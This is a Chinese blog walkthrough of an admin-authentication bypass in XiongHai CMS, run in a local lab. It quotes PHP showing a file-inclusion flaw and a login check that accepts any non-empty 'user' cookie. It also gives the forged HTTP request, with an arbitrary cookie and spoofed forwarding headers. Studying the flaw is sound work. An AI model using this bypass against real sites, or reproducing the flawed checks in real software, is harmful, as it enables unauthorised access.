熊海CMS Cookie脆弱

Cookie脆弱

文件分析,首先我们进入的是admin文件下的主文件,index.php

php 复制代码
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

通过r参数接收文件,使用三元运算符判断文件是否为空,如果为空进入index.php,不为空则进入我们r传入的文件名的文件,存在着文件包含漏洞

files/下面的文件,那我们去files文件下进行查看,先看里面的index.php C:\phpStudy\PHPTutorial\WWW\xhcms\admin\files,checklogin.php是一个检查文件的php

php 复制代码
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>

C:\phpStudy\PHPTutorial\WWW\xhcms\inc·文件下,接收了user用户的cookie,并没有对它进行检验,我们可以通过user不为空进行绕过Cookie:user=121312312

php 复制代码
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

接下来我们来进行实践,访问http://192.168.118.140/xhcms/admin/?r=login,进行抓包,修改Cookie为任意值,获得数据包

复制代码
GET /xhcms/admin/?r=index HTTP/1.1
Host: 192.168.118.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.118.140/xhcms/admin/?r=login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=é¹
13213123
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: keep-alive

放包直接进入后台

相关推荐
sbjdhjd3 小时前
企业站 SQL 注入实战:PCRE 正则回溯绕过关键词 WAF 完整实战 | 进阶02
sql·安全·web安全·网络安全·ai·开源·php
吴声子夜歌4 小时前
网络安全——消息认证
安全·web安全·消息认证
吴声子夜歌5 小时前
网络安全——数字签名
安全·web安全·数字签名
腾科IT教育5 小时前
网络安全与网络空间安全:概念、产业与防护建议
网络·安全·web安全·网络安全·网络空间安全
吴声子夜歌6 小时前
网络安全——密码学基础(二)
安全·web安全·密码学
吴声子夜歌19 小时前
网络安全——概述(一)
安全·web安全
云水一下20 小时前
零基础玩转bWAPP靶场(五十九):Insecure DOR (Change Secret)
web安全·bwapp·idor·change secret
云水一下1 天前
零基础玩转bWAPP靶场(五十八):XSS - Stored (User-Agent)
web安全·xss·bwapp·user-agent·stored
小新讲网安1 天前
PowerShell安全攻防实战:从渗透利用到检测防御全攻略
安全·web安全·网络安全·黑客·自动化·sqlmap·网安
XR1234567882 天前
医院网络安全与等保合规选型指南
安全·web安全